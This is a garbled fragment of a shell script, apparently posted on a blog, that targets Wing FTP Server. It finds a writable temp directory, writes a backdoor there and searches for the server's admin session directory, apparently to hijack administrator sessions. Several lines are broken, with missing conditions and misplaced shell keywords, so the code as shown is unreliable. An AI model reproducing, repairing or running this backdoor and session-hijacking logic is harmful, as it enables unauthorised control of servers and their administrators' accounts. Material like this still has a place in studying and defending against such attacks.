Consider looking manually.\" exit 1 fi\n#Note: if no directory is found, look manually for the \"wftpserver\" directory, or a \"wftpserver\" binary. \n\ndirectories=( \"/tmp\" \"/var/tmp\" \"/dev/shm\" )\nfor dir in if directories are writeable\n\tif \n\tthen\n\t\techo \" Writeable directory found: $dir\"\n\t\texport backdoordir=$dir\n\t\tbreak\n\telse\n\t\techo \" $dir is not writeable.\" fi\ndone\n\nwriteBackdoor $backdoordir\n\n#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/).\necho \" Finding the wftpserver directory\"\nexport sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep -color=never wftpserver)\nif then echo \"Wing FTP directory not found.
0 Comments
Leave a Reply. |